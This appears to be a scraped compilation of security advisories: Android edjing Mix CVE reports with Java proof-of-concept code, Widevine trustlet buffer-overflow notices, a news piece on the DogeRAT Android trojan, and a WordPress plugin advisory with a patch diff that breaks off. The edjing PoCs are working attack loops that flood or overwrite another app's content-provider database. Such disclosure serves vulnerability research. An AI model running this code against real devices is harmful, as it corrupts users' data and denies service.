An issue found in edjing Mix v.7.09.01 for Android allows unauthorized apps to cause escalation of privilege attacks by manipulating the database.

**Escalation of Privileges exists in edjing Mix（CVE-2023-29734）**

Vendor：MWM(http://www.edjing.com/)

Affected product：edjing Mix(com.edjing.edjingdjturntable)

Version：7.09.01

Download link：https://play.google.com/store/apps/details?id=com.edjing.edjingdjturntable

Description of the vulnerability for use in the CVE：An issue found in edjing Mix v.7.09.01 for Android allows unauthorized apps to cause escalation of privilege attacks by manipulating the database.

poc：

public void attack(){
    while (true) {
        ContentResolver contentResolver = this.getApplicationContext().getContentResolver();
        String randomString =getRandomString(52);
        String randomString2 =getRandomString(5120);
        Uri uri = Uri.parse("content://com.edjing.edjingdjturntable/playlist");
        ContentValues contentValues = new ContentValues();
        contentValues.put("playlist\_id",3);
        contentValues.put("playlist\_date\_modified",1314234);
        contentValues.put("playlist\_date\_added",123456);
        contentValues.put("playlist\_state",0);
        contentValues.put("playlist\_name",randomString2);
        contentResolver.update(uri,contentValues,null,null);
    }
}

public static String getRandomString(int length) {
        String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        Random random = new Random();
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < length; i++) {
            int number = random.nextInt(62);
            sb.append(str.charAt(number));
        }
        return sb.toString();
}

CVE-2023-29734: SO-CVEs/CVE detail.md at main · LianKee/SO-CVEs

An issue found in edjing Mix v.7.09.01 for Android allows a local attacker to cause a denial of service via the database files.

**Denial of Service exists in edjing Mix（CVE-2023-29735）**

Vendor：MWM(http://www.edjing.com/)

Affected product：edjing Mix(com.edjing.edjingdjturntable)

Version：7.09.01

Download link：https://play.google.com/store/apps/details?id=com.edjing.edjingdjturntable

Description of the vulnerability for use in the CVE：An issue found in edjing Mix v.7.09.01 for Android allows a local attacker to cause a denial of service via the database files.

poc：

public void attack(){
    int num = 2;
    while (true) {
        ContentResolver contentResolver = this.getApplicationContext().getContentResolver();
        String randomString =getRandomString(52);
        String randomString2 =getRandomString(5120);
        Uri uri = Uri.parse("content://com.edjing.edjingdjturntable/playlist");
        ContentValues contentValues = new ContentValues();
        contentValues.put("playlist\_id",num);
        contentValues.put("playlist\_date\_modified",1314234);
        contentValues.put("playlist\_date\_added",123456);
        contentValues.put("playlist\_state",0);
        contentValues.put("playlist\_name",randomString2);
        contentResolver.insert(uri,contentValues);
        num ++;
    }
}

public static String getRandomString(int length) {
        String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        Random random = new Random();
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < length; i++) {
            int number = random.nextInt(62);
            sb.append(str.charAt(number));
        }
        return sb.toString();
}

CVE-2023-29735: SO-CVEs/CVE detail.md at main · LianKee/SO-CVEs

Widevine Trustlet versions 5.x, 6.x, and 7.x suffer from a buffer overflow vulnerability in PRDiagParseAndStoreData at 0x5cc8.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48336[+] Title              : Buffer Overflow in Widevine Trustlet (PRDiagParseAndStoreData @ 0x5cc8)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s PRDiagProvisionDataHandler() command.For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48336_Buffer_Overflow_in_Widevine_PRDiagParseAndStoreData_0x5cc8/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet 5.x / 6.x / 7.x PRDiagParseAndStoreData Buffer Overflow

Widevine Trustlet versions 5.x, 6.x, and 7.x suffer from a buffer overflow vulnerability in PRDiagVerifyProvisioning at 0x5f90.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48335[+] Title              : Buffer Overflow in Widevine Trustlet (PRDiagVerifyProvisioning @ 0x5f90)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).3. DETAILS----------To the best of our knowledge, the vulnerability described in this post has been incorrectly associated with CVE-2015-6639. After consulting with MITRE, it has been confirmed that this vulnerability had no assigned identifier. Consequently, CVE-2022-48335 has been assigned to this vulnerability. On the other hand, it has been confirmed that CVE-2015-6639 does exist and corresponds with a different vulnerability reported by Google. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s PRDiagVerifyProvisioning() command. This command closely resembles PRDiagClearProvisioning(), which has been featured in other blog entries (refer to CVE-2015-6647).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48335_Buffer_Overflow_in_Widevine_PRDiagVerifyProvisioning_0x5f90/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet 5.x / 6.x / 7.x PRDiagVerifyProvisioning Buffer Overflow

Widevine Trustlet versions 5.x suffer from a buffer overflow vulnerability in drm_verify_keys at 0x7370.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48334[+] Title              : Buffer Overflow in Widevine Trustlet (drm_verify_keys @ 0x7370)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N)3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48334_Buffer_Overflow_in_Widevine_drm_verify_keys_0x7370/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet 5.x drm_verify_keys Buffer Overflow

Widevine Trustlet versions 5.x suffer from a buffer overflow vulnerability in drm_verify_keys at 0x730c.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48333[+] Title              : Buffer Overflow in Widevine Trustlet (drm_verify_keys @ 0x730c)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N)3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48333_Buffer_Overflow_in_Widevine_drm_verify_keys_0x730c/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet versions 5.x suffer from a buffer overflow vulnerability in drm_save_keys at 0x6a18.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48332[+] Title              : Buffer Overflow in Widevine Trustlet (drm_save_keys @ 0x6a18)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N)3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48332_Buffer_Overflow_in_Widevine_drm_save_keys_0x6a18/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet 5.x drm_save_keys Buffer Overflow

Widevine Trustlet versions 5.x suffer from a drm_save_keys related buffer overflow.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48331[+] Title              : Buffer Overflow in Widevine Trustlet (drm_save_keys @ 0x69b0)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M) 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N)3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service. The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48331_Buffer_Overflow_in_Widevine_drm_save_keys_0x69b0/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

A new open source remote access trojan (RAT) called DogeRAT targets Android users primarily located in India as part of a sophisticated malware campaign.
The malware is distributed via social media and messaging platforms under the guise of legitimate applications like Opera Mini, OpenAI ChatGOT, and Premium versions of YouTube, Netflix, and Instagram.
"Once installed on a victim's device, the

Mobile Security / Android

A new open source remote access trojan (RAT) called **DogeRAT** targets Android users primarily located in India as part of a sophisticated malware campaign.

The malware is distributed via social media and messaging platforms under the guise of legitimate applications like Opera Mini, OpenAI ChatGOT, and Premium versions of YouTube, Netflix, and Instagram.

"Once installed on a victim's device, the malware gains unauthorized access to sensitive data, including contacts, messages, and banking credentials," cybersecurity firm CloudSEK said in a Monday report.

"It can also take control of the infected device, enabling malicious actions such as sending spam messages, making unauthorized payments, modifying files, and even remotely capturing photos through the device's cameras."

DogeRAT, like many other malware-as-a-service (MaaS) offerings, is promoted by its India-based developer through a Telegram channel that has more than 2,100 subscribers since it was created on June 9, 2022.

This also includes a premium subscription that's sold for dirt-cheap prices ($30) with additional capabilities such as taking screenshots, stealing images, capturing clipboard content, and logging keystrokes.

In a further attempt to make it more accessible to other criminal actors, the free version of DogeRAT has been made available on GitHub, alongside screenshots and video tutorials showcasing its functions.

"We do not endorse any illegal or unethical use of this tool," the developer states in the repository's README.md file. "The user assumes all responsibility for the use of this software."

Upon installation, the Java-based malware requests for intrusive permissions to perform its data-gathering objectives, before exfiltrating it to a Telegram bot.

UPCOMING WEBINAR

Zero Trust + Deception: Learn How to Outsmart Attackers!

Discover how Deception can detect advanced threats, stop lateral movement, and enhance your Zero Trust strategy. Join our insightful webinar!

Save My Seat!

"This campaign is a stark reminder of the financial motivation driving scammers to continually evolve their tactics," CloudSEK researcher Anshuman Das said.

"They are not just limited to creating phishing websites, but also distributing modified RATs or repurposing malicious apps to execute scam campaigns that are low-cost and easy to set up, yet yield high returns."

The findings come as Google-owned Mandiant detailed a new Android backdoor called LEMONJUICE that's designed to enable remote control of and access to a compromised device.

"The malware is capable of tracking device location, recording the microphone, retrieving contact lists, accessing call, SMS, clipboard, and notification logs, viewing installed applications, downloading and uploading files, viewing connectivity status, and executing additional commands from the C2 server," researcher Jared Wilson said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Sneaky DogeRAT Trojan Poses as Popular Apps, Targets Indian Android Users

A vulnerability classified as problematic was found in Bestwebsoft Relevant Plugin up to 1.0.7 on WordPress. Affected by this vulnerability is an unknown functionality of the component Thumbnail Handler. The manipulation leads to information disclosure. The attack can be launched remotely. Upgrading to version 1.0.8 is able to address this issue. The name of the patch is 860d1891025548cf0f5f97364c1f51a888f523c3. It is recommended to upgrade the affected component. The identifier VDB-230113 was assigned to this vulnerability.

@@ -1,7 +1,7 @@ <?php /\* \* Function for displaying BestWebSoft menu \* Version: 1.3.2 \* Version: 1.3.7 \*/  
if ( ! function\_exists( 'bws\_add\_menu\_render' ) ) { Expand Down Expand Up @@ -119,7 +119,7 @@ function bws\_add\_menu\_render() { ), 'google-one/google-plus-one.php' => array( 'name' => 'Google +1', 'description' => 'Allows you to celebrate liked the article.', 'description' => 'Allows you to see how many times your page has been liked on Google Search Engine as well as who has liked the article.', 'link' => 'http://bestwebsoft.com/plugin/google-plus-one/?k=ce7a88837f0a857b3a2bb142f470853c&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'download' => 'http://bestwebsoft.com/plugin/google-plus-one/?k=ce7a88837f0a857b3a2bb142f470853c&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => '/wp-admin/plugin-install.php?tab=search&type=term&s=Google+%2B1+bestwebsoft&plugin-search-input=Search+Plugins', Expand Down Expand Up @@ -248,9 +248,34 @@ function bws\_add\_menu\_render() { 'description' => 'Allows to change wordpress user role capabilities.', 'link' => 'http://bestwebsoft.com/plugin/user-role/?k=dfe2244835c6fbf601523964b3f34ccc&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'download' => 'http://bestwebsoft.com/plugin/user-role/?k=dfe2244835c6fbf601523964b3f34ccc&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => 'http://bestwebsoft.com/plugin/user-role/?k=dfe2244835c6fbf601523964b3f34ccc&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => '/wp-admin/plugin\-install.php?tab=search&s=User+Role+BestWebSoft&plugin-search-input=Search+Plugins', 'settings' => 'admin.php?page=user-role.php', 'pro\_version' => 'user-role-pro/user-role-pro.php' ), 'email-queue/email-queue.php' => array( 'name' => 'Email Queue', 'description' => 'Allows to manage email massages sent by BestWebSoft plugins.', 'link' => 'http://bestwebsoft.com/plugin/email-queue/?k=e345e1b6623f0dca119bc2d9433b130b&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'download' => 'http://bestwebsoft.com/plugin/email-queue/?k=e345e1b6623f0dca119bc2d9433b130b&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => '/wp-admin/plugin-install.php?tab=search&s=Email+Queue+BestWebSoft&plugin-search-input=Search+Plugins', 'settings' => 'admin.php?page=mlq\_settings' ), 'limit-attempts/limit-attempts.php' => array( 'name' => 'Limit Attempts', 'description' => 'Allows you to limit rate of login attempts by the ip, and create whitelist and blacklist.', 'link' => 'http://bestwebsoft.com/plugin/limit-attempts/?k=b14e1697ee4d008abcd4bd34d492573a&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'download' => 'http://bestwebsoft.com/plugin/limit-attempts/?k=b14e1697ee4d008abcd4bd34d492573a&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => '/wp-admin/plugin-install.php?tab=search&s=Limit+Attempts+BestWebSoft&plugin-search-input=Search+Plugins', 'settings' => 'admin.php?page=limit-attempts.php', 'pro\_version' => 'limit-attempts-pro/limit-attempts-pro.php' ), 'job-board/job-board.php' => array( 'name' => 'Job board', 'description' => 'Allows to create a job-board page on your site.', 'link' => 'http://bestwebsoft.com/plugin/job-board/?k=b0c504c9ce6edd6692e04222af3fed6f&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'download' => 'http://bestwebsoft.com/plugin/job-board/?k=b0c504c9ce6edd6692e04222af3fed6f&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#download', 'wp\_install' => '/wp-admin/plugin-install.php?tab=search&type=term&s=Job+board+BestWebSoft&plugin-search-input=Search+Plugins', 'settings' => 'admin.php?page=job-board.php' ) ); $bws\_plugins\_pro = array( Expand Down Expand Up @@ -305,7 +330,7 @@ function bws\_add\_menu\_render() { ), 'google-one-pro/google-plus-one-pro.php' => array( 'name' => 'Google +1 Pro', 'description' => 'Allows you to celebrate liked the article.', 'description' => 'Allows you to see how many times your page has been liked on Google Search Engine as well as who has liked the article.', 'link' => 'http://bestwebsoft.com/plugin/google-plus-one-pro/?k=f4b0a62d155c9df9601a0531ad5bd832&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'purchase' => 'http://bestwebsoft.com/plugin/google-plus-one-pro?k=f4b0a62d155c9df9601a0531ad5bd832&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#purchase', 'settings' => 'admin.php?page=google-plus-one-pro.php' Expand Down Expand Up @@ -351,6 +376,13 @@ function bws\_add\_menu\_render() { 'link' => 'http://bestwebsoft.com/plugin/sender-pro/?k=dc5d1a87bdc8aeab2de40ffb99b38054&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'purchase' => 'http://bestwebsoft.com/plugin/sender-pro/?k=dc5d1a87bdc8aeab2de40ffb99b38054&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#purchase', 'settings' => 'admin.php?page=sndrpr\_settings' ), 'limit-attempts-pro/limit-attempts-pro.php' => array( 'name' => 'Limit Attempts Pro', 'description' => 'Allows you to limit rate of login attempts by the ip, and create whitelist and blacklist.', 'link' => 'http://bestwebsoft.com/plugin/limit-attempts-pro/?k=9d42cdf22c7fce2c4b6b447e6a2856e0&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version, 'purchase' => 'http://bestwebsoft.com/plugin/limit-attempts-pro/?k=9d42cdf22c7fce2c4b6b447e6a2856e0&pn=' . $bws\_plugin\_info\["id"\] . '&v=' . $bws\_plugin\_info\["version"\] . '&wp\_v=' . $wp\_version . '#purchase', 'settings' => 'admin.php?page=limit-attempts-pro.php', ) );  
Expand Down Expand Up @@ -483,8 +515,8 @@ function bws\_add\_menu\_render() { if ( ( isset( $\_REQUEST\['bwsmn\_form\_submit'\] ) && check\_admin\_referer( plugin\_basename(\_\_FILE\_\_), 'bwsmn\_nonce\_submit' ) ) || ( isset( $\_REQUEST\['bwsmn\_form\_submit\_custom\_email'\] ) && check\_admin\_referer( plugin\_basename(\_\_FILE\_\_), 'bwsmn\_nonce\_submit\_custom\_email' ) ) ) { if ( isset( $\_REQUEST\['bwsmn\_form\_email'\] ) ) { $bwsmn\_form\_email = trim( $\_REQUEST\['bwsmn\_form\_email'\] ); if ( $bwsmn\_form\_email == "" || !preg\_match( "/^((?:\[a-z0-9'\]+(?:\[a-z0-9\\-\_\\.'\]+)?@\[a-z0-9\]+(?:\[a-z0-9\\-\\.\]+)?\\.\[a-z\]{2,5})\[, \]\*)+$/i", $bwsmn\_form\_email ) ) { $bwsmn\_form\_email = esc\_html( trim( $\_REQUEST\['bwsmn\_form\_email'\] ) ); if ( $bwsmn\_form\_email == "" || ! is\_email( $bwsmn\_form\_email ) ) { $error = \_\_( "Please enter a valid email address.", 'bestwebsoft' ); } else { $email = $bwsmn\_form\_email; Expand All @@ -506,19 +538,24 @@ function bws\_add\_menu\_render() { foreach ( $system\_info\['system\_info'\] as $key => $value ) { $message\_text .= '<tr><td>'. $key .'</td><td>'. $value .'</td></tr>'; } $message\_text .= '</table> <h4>Active Plugins</h4> <table>'; foreach ( $system\_info\['active\_plugins'\] as $key => $value ) { $message\_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>'; $message\_text .= '</table>'; if ( ! empty( $system\_info\['active\_plugins'\] ) ) { $message\_text .= '<h4>Active Plugins</h4> <table>'; foreach ( $system\_info\['active\_plugins'\] as $key => $value ) { $message\_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>'; } $message\_text .= '</table>'; } $message\_text .= '</table> <h4>Inactive Plugins</h4> <table>'; foreach ( $system\_info\['inactive\_plugins'\] as $key => $value ) { $message\_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>'; if ( ! empty( $system\_info\['inactive\_plugins'\] ) ) { $message\_text .= '<h4>Inactive Plugins</h4> <table>'; foreach ( $system\_info\['inactive\_plugins'\] as $key => $value ) { $message\_text .= '<tr><td scope="row">'. $key .'</td><td scope="row">'. $value .'</td></tr>'; } $message\_text .= '</table>'; } $message\_text .= '</table></body></html>'; $message\_text .= '</body></html>'; $result = wp\_mail( $email, 'System Info From ' . $home\_url, $message\_text, $headers ); if ( $result != true ) $error = \_\_( "Sorry, email message could not be delivered.", 'bestwebsoft' ); Expand Down Expand Up @@ -578,8 +615,10 @@ function bws\_add\_menu\_render() { </div\> <div class\="bws\_product\_links"\> <a href\="<?php echo $bws\_plugins\_pro\[ $key\_plugin \]\["link"\]; ?>" target\="\_blank"\><?php \_e( "Learn more", 'bestwebsoft' ); ?></a\> <span\> | </span\> <a href\="<?php echo $bws\_plugins\_pro\[ $key\_plugin \]\["settings"\]; ?>" target\="\_blank"\><?php \_e( "Settings", 'bestwebsoft' ); ?></a\> <?php if ( '' != $bws\_plugins\_pro\[ $key\_plugin \]\["settings"\] ) { ?> <span\> | </span\> <a href\="<?php echo $bws\_plugins\_pro\[ $key\_plugin \]\["settings"\]; ?>" target\="\_blank"\><?php \_e( "Settings", 'bestwebsoft' ); ?></a\> <?php } ?> </div\> </div\> <?php } elseif ( isset( $bws\_plugins\[ $key\_plugin \] ) ) { ?> Expand All @@ -605,8 +644,10 @@ function bws\_add\_menu\_render() { </div\> <div class\="bws\_product\_links"\> <a href\="<?php echo $bws\_plugins\[ $key\_plugin \]\["link"\]; ?>" target\="\_blank"\><?php \_e( "Learn more", 'bestwebsoft' ); ?></a\> <span\> | </span\> <a href\="<?php echo $bws\_plugins\[ $key\_plugin 